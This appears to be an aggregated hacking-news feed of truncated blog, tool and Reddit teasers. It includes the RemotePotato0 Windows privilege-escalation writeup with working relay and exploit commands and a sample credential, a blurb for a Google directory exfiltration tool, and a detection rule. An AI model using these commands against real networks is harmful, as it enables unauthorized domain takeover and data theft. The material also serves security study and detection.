Automating Burp Suite -3 | Creating Macro To Replace CSRF Token From Response Body To Request With…

This is 3rd part of Automating Burp Suite, where we will try to replace the CSRF token generated from the response body to request the body…
Read more...

Kali Linux Tutorials
GDir-Thief : Red Team Tool For Exfiltrating The Target Organization’S Google People Directory That You Have Access To, Via Google’s API

GDir-Thief is a Red Team tool for exfiltrating the target organization’s Google People Directory that you have access to, via Google’s People API. HOW TO Create a new Google Cloud Platform (GCP) project Steps to get the Google API Access Token needed for connecting to the API Create a burner gmail/google account Login to said […]

The post GDir-Thief : Red Team Tool For Exfiltrating The Target Organization’S Google People Directory That You Have Access To, Via Google’s API appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Dom Invader — Burp Suite tool to Find DOM Based XSS Easily

Continue reading on Medium »
Read more...

Pentesting Experience and How to Get It

For several years even predating my starting my teaching career as an adjunct professor teaching ethical hacking and web app pentesting, I…Continue reading on Medium »
Read more...

Hacking on Medium
Heist (HackTheBox)

https://cdn-images-1.medium.com/max/600/1*cdt1hBjs-w4sUabZZ5UFHA.jpeg
Heist is an easy-rated HackTheBox machine. I did password cracking and username enumeration. Privilege escalation was very common firefox…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How google and other companies know your location all the time

https://cdn-images-1.medium.com/max/600/1*c5vSVlizmAF62z9fDhFdkw.jpeg
In this article we are talking about how google and other companies always know your location and how to prevent that!

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
‘Black Box’ Test on eJPT Exam

https://cdn-images-1.medium.com/max/1650/1*ZcWGiXYaAHMpb8zkDR_NXw.jpeg
I have studied OSCP/PWK course for 2 weeks, have gone through the textbook and finished PWK Lab Learning Path (11 Boxes). To check my…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
About Chainswap Hack

Today @chain_swap was hacked. As a result of the hack, many projects (including WorkQuest (WQT) with whom @chain_swap partnered for…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

RemotePotato0 - Just Another "Won't Fix" Windows Privilege Escalation From User To Domain Admin
http://www.kitploit.com/2021/07/remotepotato0-just-another-wont-fix.html

___________________________
@hacking_Attack
@Hacking_Video

Just another "Won't Fix" Windows Privilege Escalation (https://www.kitploit.com/search/label/Windows%20Privilege%20Escalation) from User to Domain Admin. RemotePotato0 is an exploit that allows you to escalate your privileges from a generic User to Domain Admin. Briefly: It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine. It is required you have a shell in session 0 (e.g. WinRm shell or SSH shell) and that a privileged user is logged on in the session 1 (e.g. a Domain Admin user). Once the NTLM type1 is triggered we setup a cross protocol relay (https://www.kitploit.com/search/label/Relay) server that receive the privileged type1 message and relay it to a third resource by unpacking the RPC protocol and packing the authentication over HTTP. On the receiving end you can setup a further relay node (eg. ntlmrelayx) or relay directly to a privileged resource. Full details at --> https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop
Example
Attacker machine (192.168.83.130): sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.83.131:9998 &
sudo ntlmrelayx.py -t ldap://192.168.83.135 --no-wcf-server --escalate-user winrm_user_1
Victim machine (192.168.83.131): .\RemotePotato0.exe -r 192.168.83.130 -p 9998
Victim Domain Controller (192.168.83.135) Enjoy shell (eg. psexec) as Enterprise Admin to the domain controller ;) psexec.py 'SPLINTER/winrm_user_1:Password111!@192.168.83.135'

Demo

___________________________
@hacking_Attack
@Hacking_Video

Detection
Yara rule to detect RemotePotato0 binary: rule SentinelOne_RemotePotato0_privesc {
meta:
author = "SentinelOne"
description = "Detects RemotePotato0 binary"
reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"

strings:
$import1 = "CoGetInstanceFromIStorage"
$istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
$meow_header = { 4d 45 4f 57 }
$clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
$clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii

condition:
(uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}

Authors
Antonio Cocomazzi (https://twitter.com/splinter_code) Andrea Pierini (https://twitter.com/decoder_it)
Credits
Impacket (https://github.com/SecureAuthCorp/impacket)

Download RemotePotato0 (https://github.com/antonioCoco/RemotePotato0)

___________________________
@hacking_Attack
@Hacking_Video

https://external-preview.redd.it/RIeJG8n7e9V75uJAgTXSSwF8XEkaanCVTO6ITEKsvPo.jpg?width=640&crop=smart&auto=webp&s=3775484f9ff17391fa07a5307aff429756c46fb3 Check it out if you want to, I would appreciate some feedback.

https://github.com/SomeFellowPerson/justanotherzipcracker

https://preview.redd.it/yvrzrxnevma71.png?width=591&format=png&auto=webp&s=acdb46e73512a263a5681674d6f36fbb15c309f1

submitted by /u/LarryTheSnobster
[link] [comments]

hacking: security in practice
Looking to start a hacking livestream where we go over different exploits and would love to have a co-host or guests

So I just got back from a trip where I was an expert whiteness in the field of cyber security. I learned a lot from that experience mainly that the general public has no idea about anything regarding hacking. The particular case involved a (rat) so for the first couple of streams I’d like to go over rats and demo them.

I have a subscription to remcos, I have setup a completely separate internet account for hacking, I have a target machine with a fresh install of windows and deep freeze installed on it. The goal would be to eventually let other people try to hack the machine live then simply restart the machine to remove any infections and start securing the machine little by little.

I would also like to go over wireless attacks and have a lot of the Hak5 gear to aid in physical attacks as well.

Any thoughts anyone would like to help?

submitted by /u/Lamoneyman
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Email password lost

I have an email adress that belongs to me, it was somehow removed from my device and when I try to do the forgot password it sends an otp to a device which I am not familiar with, can anyone give me any solution?

submitted by /u/ayushchugh23
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video